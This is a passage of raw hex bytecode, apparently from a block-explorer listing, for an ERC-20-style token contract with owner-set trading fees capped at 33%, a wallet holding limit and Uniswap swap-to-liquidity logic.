666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ce9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610d03848484611832565b90509392505050565b60006009905090565b600d5481565b6000610d47827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61091b565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd390612da1565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a5481565b601160149054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1e90612da1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a90612da1565b60405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461116f90612ed9565b80601f016020809104026020016040519081016040528092919081815260200182805461119b90612ed9565b80156111e85780601f106111bd576101008083540402835291602001916111e8565b820191906000526020600020905b8154815290600101906020018083116111cb57829003601f168201915b5050505050905090565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127d90612da1565b60405180910390fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061133f338484611832565b905092915050565b60135481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f890612da1565b60405180910390fd5b8260098190555081600a819055506114228284611d2590919063ffffffff16565b600b8190555080600c819055506003600c5461143e9190612e79565b600b5410611481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147890612f56565b60405180910390fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b90612da1565b60405180910390fd5b82601160146101000a81548160ff0219169083151502179055508160128190555080601381905550505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390612da1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e290612fc2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180d91906129b2565b60405180910390fd5b50600083856118259190612fe2565b9050809150509392505050565b60008061183e84610e50565b9050600454838261184f9190613016565b1115806118a55750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6118e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118db906130bc565b60405180910390fd5b6118ec611d83565b80156119455750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561195357611952611e5a565b5b600062989680846119649190612e79565b9050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b15611a21578084611a1e9190612fe2565b93505b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ac35750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611adc57611ad38686866123d5565b92505050611d1e565b611b65846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ce9092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611bb487876124f9565b611bbe5784611c1a565b611c198786601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16146125a7565b5b9050611c6e81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d0e9190612907565b60405180910390a3600193505050505b9392505050565b6000808284611d349190613016565b905083811015611d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7090613128565b60405180910390fd5b8091505092915050565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611df05750601460009054906101000a900460ff16155b8015611e085750601160149054906101000a900460ff165b8015611e555750601254600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601460006101000a81548160ff0219169083151502179055506000601354600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611eca576013549050611f0d565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6000611f4b6002611f3d600b54611f2f6009548761271f90919063ffffffff16565b61279990919063ffffffff16565b61279990919063ffffffff16565b90506000611f6282846127e390919063ffffffff16565b90506000600267ffffffffffffffff811115611f8157611f80613148565b5b604051908082528060200260200182016040528015611faf5781602001602082028036833780820191505090505b5090503081600081518110611fc757611fc6613177565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561206e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061209291906131bb565b816001815181106120a6576120a5613177565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121449594939291906132e1565b600060405180830381600087803b15801561215e57600080fd5b505af1158015612172573d6000803e3d6000fd5b50505050600047905060006121a7612196600260095461279990919063ffffffff16565b600b546127e390919063ffffffff16565b905060006121e560026121d7846121c96009548861271f90919063ffffffff16565b61279990919063ffffffff16565b61279990919063ffffffff16565b905060006121fc82856127e390919063ffffffff16565b9050600081111561229e576000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682617530906040516122539061336c565b600060405180830381858888f193505050503d8060008114612291576040519150601f19603f3d011682016040523d82523d6000602084013e612296565b606091505b505080915050505b60008711156123b057601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308a600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161233096959493929190613381565b60606040518083038185885af115801561234e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061237391906133f7565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450682886040516123a792919061344a565b60405180910390a15b50505050505050506000601460006101000a81548160ff021916908315150217905550565b60006123ee6103e8600d5461271f90919063ffffffff16565b600d8190555061244682600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124e69190612907565b60405180910390a3600190509392505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561259f5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080826125b65760646125ba565b600d545b905060006126056064600c546125d09190612df0565b6125f7846125e9600b548a61271f90919063ffffffff16565b61271f90919063ffffffff16565b61279990919063ffffffff16565b905061265981600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126f99190612907565b60405180910390a361271481866127e390919063ffffffff16565b925050509392505050565b60008083036127315760009050612793565b6000828461273f9190612df0565b905082848261274e9190612e79565b1461278e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612785906134e5565b60405180910390fd5b809150505b92915050565b60006127db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282d565b905092915050565b600061282583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117ce565b905092915050565b60008083118290612874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286b91906129b2565b60405180910390fd5b50600083856128839190612e79565b9050809150509392505050565b600080fd5b6000819050919050565b6128a881612895565b81146128b357600080fd5b50565b6000813590506128c58161289f565b92915050565b6000602082840312156128e1576128e0612890565b5b60006128ef848285016128b6565b91505092915050565b61290181612895565b82525050565b600060208201905061291c60008301846128f8565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561295c578082015181840152602081019050612941565b60008484015250505050565b6000601f19601f8301169050919050565b600061298482612922565b61298e818561292d565b935061299e81856020860161293e565b6129a781612968565b840191505092915050565b600060208201905081810360008301526129cc8184612979565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006129ff826129d4565b9050919050565b612a0f816129f4565b8114612a1a57600080fd5b50565b600081359050612a2c81612a06565b92915050565b60008060408385031215612a4957612a48612890565b5b6000612a5785828601612a1d565b9250506020612a68858286016128b6565b9150509250929050565b60008115159050919050565b612a8781612a72565b82525050565b6000602082019050612aa26000830184612a7e565b92915050565b612ab181612a72565b8114612abc57600080fd5b50565b600081359050612ace81612aa8565b92915050565b60008060408385031215612aeb57612aea612890565b5b6000612af985828601612a1d565b9250506020612b0a85828601612abf565b9150509250929050565b600080600060608486031215612b2d57612b2c612890565b5b6000612b3b86828701612a1d565b9350506020612b4c86828701612a1d565b9250506040612b5d868287016128b6565b9150509250925092565b600060ff82169050919050565b612b7d81612b67565b82525050565b6000602082019050612b986000830184612b74565b92915050565b600060208284031215612bb457612bb3612890565b5b6000612bc284828501612a1d565b91505092915050565b612bd4816129f4565b82525050565b6000602082019050612bef6000830184612bcb565b92915050565b60008060408385031215612c0c57612c0b612890565b5b6000612c1a85828601612a1d565b9250506020612c2b85828601612a1d565b9150509250929050565b600080600060608486031215612c4e57612c4d612890565b5b6000612c5c868287016128b6565b9350506020612c6d868287016128b6565b9250506040612c7e868287016128b6565b9150509250925092565b600080600060608486031215612ca157612ca0612890565b5b6000612caf86828701612abf565b9350506020612cc0868287016128b6565b9250506040612cd1868287016128b6565b9150509250925092565b6000819050919050565b6000612d00612cfb612cf6846129d4565b612cdb565b6129d4565b9050919050565b6000612d1282612ce5565b9050919050565b6000612d2482612d07565b9050919050565b612d3481612d19565b82525050565b6000602082019050612d4f6000830184612d2b565b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000612d8b60068361292d565b9150612d9682612d55565b602082019050919050565b60006020820190508181036000830152612dba81612d7e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612dfb82612895565b9150612e0683612895565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e3f57612e3e612dc1565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e8482612895565b9150612e8f83612895565b925082612e9f57612e9e612e4a565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612ef157607f821691505b602082108103612f0457612f03612eaa565b5b50919050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b6000612f40601c8361292d565b9150612f4b82612f0a565b602082019050919050565b60006020820190508181036000830152612f6f81612f33565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000612fac60088361292d565b9150612fb782612f76565b602082019050919050565b60006020820190508181036000830152612fdb81612f9f565b9050919050565b6000612fed82612895565b9150612ff883612895565b92508282039050818111156130105761300f612dc1565b5b92915050565b600061302182612895565b915061302c83612895565b925082820190508082111561304457613043612dc1565b5b92915050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e0000602082015250565b60006130a6603e8361292d565b91506130b18261304a565b604082019050919050565b600060208201905081810360008301526130d581613099565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613112601b8361292d565b915061311d826130dc565b602082019050919050565b6000602082019050818103600083015261314181613105565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506131b581612a06565b92915050565b6000602082840312156131d1576131d0612890565b5b60006131df848285016131a6565b91505092915050565b6000819050919050565b600061320d613208613203846131e8565b612cdb565b612895565b9050919050565b61321d816131f2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613258816129f4565b82525050565b600061326a838361324f565b60208301905092915050565b6000602082019050919050565b600061328e82613223565b613298818561322e565b93506132a38361323f565b8060005b838110156132d45781516132bb888261325e565b97506132c683613276565b9250506001810190506132a7565b5085935050505092915050565b600060a0820190506132f660008301886128f8565b6133036020830187613214565b81810360408301526133158186613283565b90506133246060830185612bcb565b61333160808301846128f8565b9695505050505050565b600081905092915050565b50565b600061335660008361333b565b915061336182613346565b600082019050919050565b600061337782613349565b9150819050919050565b600060c0820190506133966000830189612bcb565b6133a360208301886128f8565b6133b06040830187613214565b6133bd6060830186613214565b6133ca6080830185612bcb565b6133d760a08301846128f8565b979650505050505050565b6000815190506133f18161289f565b92915050565b6000806000606084860312156134105761340f612890565b5b600061341e868287016133e2565b935050602061342f868287016133e2565b9250506040613440868287016133e2565b9150509250925092565b600060408201905061345f60008301856128f8565b61346c60208301846128f8565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134cf60218361292d565b91506134da82613473565b604082019050919050565b600060208201905081810360008301526134fe816134c2565b905091905056fea26469706673582212205ce11b727af6f0074b82c1a90ca161bd116f044dd2c05a57e790b945922809f764736f6c634300081000330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x6080604052600436106101f25760003560e01c8063715018a61161010d578063a9059cbb116100a0578063d08893581161006f578063d0889358146106ec578063dd62ed3e14610715578063e96fada214610752578063f2fde38b1461077d578063f887ea40146107a6576101f9565b8063a9059cbb14610630578063acef1a441461066d578063ca33e64c14610698578063cec10c11146106c3576101f9565b806395d89b41116100dc57806395d89b411461058657806398118cb4146105b1578063a4b45c00146105dc578063a8aa1b3114610605576101f9565b8063715018a6146104f057806373a432bb1461050757806378109e54146105305780638da5cb5b1461055b576101f9565b806323b872dd11610185578063658d4b7f11610154578063658d4b7f146104345780636b67c4df1461045d5780636ddd17131461048857806370a08231146104b3576101f9565b806323b872dd14610364578063313ce567146103a157806344ca19e4146103cc578063571ac8b0146103f7576101f9565b8063180b0d7e116101c1578063180b0d7e146102ba57806318160ddd146102e55780631df4ccfc146103105780632198cf6c1461033b576101f9565b8063012aa912146101fe5780630445b6671461022757806306fdde0314610252578063095ea7b31461027d576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610225600480360381019061022091906128cb565b6107d1565b005b34801561023357600080fd5b5061023c610883565b6040516102499190612907565b60405180910390f35b34801561025e57600080fd5b50610267610889565b60405161027491906129b2565b60405180910390f35b34801561028957600080fd5b506102a4600480360381019061029f9190612a32565b61091b565b6040516102b19190612a8d565b60405180910390f35b3480156102c657600080fd5b506102cf610a0d565b6040516102dc9190612907565b60405180910390f35b3480156102f157600080fd5b506102fa610a13565b6040516103079190612907565b60405180910390f35b34801561031c57600080fd5b50610325610a1d565b6040516103329190612907565b60405180910390f35b34801561034757600080fd5b50610362600480360381019061035d9190612ad4565b610a23565b005b34801561037057600080fd5b5061038b60048036038101906103869190612b14565b610b0c565b6040516103989190612a8d565b60405180910390f35b3480156103ad57600080fd5b506103b6610d0c565b6040516103c39190612b83565b60405180910390f35b3480156103d857600080fd5b506103e1610d15565b6040516103ee9190612907565b60405180910390f35b34801561040357600080fd5b5061041e60048036038101906104199190612b9e565b610d1b565b60405161042b9190612a8d565b60405180910390f35b34801561044057600080fd5b5061045b60048036038101906104569190612ad4565b610d4e565b005b34801561046957600080fd5b50610472610e37565b60405161047f9190612907565b60405180910390f35b34801561049457600080fd5b5061049d610e3d565b6040516104aa9190612a8d565b60405180910390f35b3480156104bf57600080fd5b506104da60048036038101906104d59190612b9e565b610e50565b6040516104e79190612907565b60405180910390f35b3480156104fc57600080fd5b50610505610e99565b005b34801561051357600080fd5b5061052e60048036038101906105299190612b9e565b610fe5565b005b34801561053c57600080fd5b50610545611131565b6040516105529190612907565b60405180910390f35b34801561056757600080fd5b50610570611137565b60405161057d9190612bda565b60405180910390f35b34801561059257600080fd5b5061059b611160565b6040516105a891906129b2565b60405180910390f35b3480156105bd57600080fd5b506105c66111f2565b6040516105d39190612907565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe9190612bf5565b6111f8565b005b34801561061157600080fd5b5061061a61130c565b6040516106279190612bda565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190612a32565b611332565b6040516106649190612a8d565b60405180910390f35b34801561067957600080fd5b50610682611347565b60405161068f9190612907565b60405180910390f35b3480156106a457600080fd5b506106ad61134d565b6040516106ba9190612bda565b60405180910390f35b3480156106cf57600080fd5b506106ea60048036038101906106e59190612c35565b611373565b005b3480156106f857600080fd5b50610713600480360381019061070e9190612c88565b611486565b005b34801561072157600080fd5b5061073c60048036038101906107379190612bf5565b611541565b6040516107499190612907565b60405180910390f35b34801561075e57600080fd5b506107676115c8565b6040516107749190612bda565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f9190612b9e565b6115ee565b005b3480156107b257600080fd5b506107bb6117a8565b6040516107c89190612d3a565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085690612da1565b60405180910390fd5b612710816003546108709190612df0565b61087a9190612e79565b60048190555050565b60125481565b60606001805461089890612ed9565b80601f01602080910402602001604051908101604052809291908181526020018280546108c490612ed9565b80156109115780601f106108e657610100808354040283529160200191610911565b820191906000526020600020905b8154815290600101906020018083116108f457829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109fb9190612907565b60405180910390a36001905092915050565b600c5481565b6000600354905090565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa890612da1565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610cf857610c77826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ce9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610d03848484611832565b90509392505050565b60006009905090565b600d5481565b6000610d47827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61091b565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd390612da1565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a5481565b601160149054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1e90612da1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a90612da1565b60405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461116f90612ed9565b80601f016020809104026020016040519081016040528092919081815260200182805461119b90612ed9565b80156111e85780601f106111bd576101008083540402835291602001916111e8565b820191906000526020600020905b8154815290600101906020018083116111cb57829003601f168201915b5050505050905090565b60095481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127d90612da1565b60405180910390fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061133f338484611832565b905092915050565b60135481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f890612da1565b60405180910390fd5b8260098190555081600a819055506114228284611d2590919063ffffffff16565b600b8190555080600c819055506003600c5461143e9190612e79565b600b5410611481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147890612f56565b60405180910390fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b90612da1565b60405180910390fd5b82601160146101000a81548160ff0219169083151502179055508160128190555080601381905550505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390612da1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e290612fc2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffff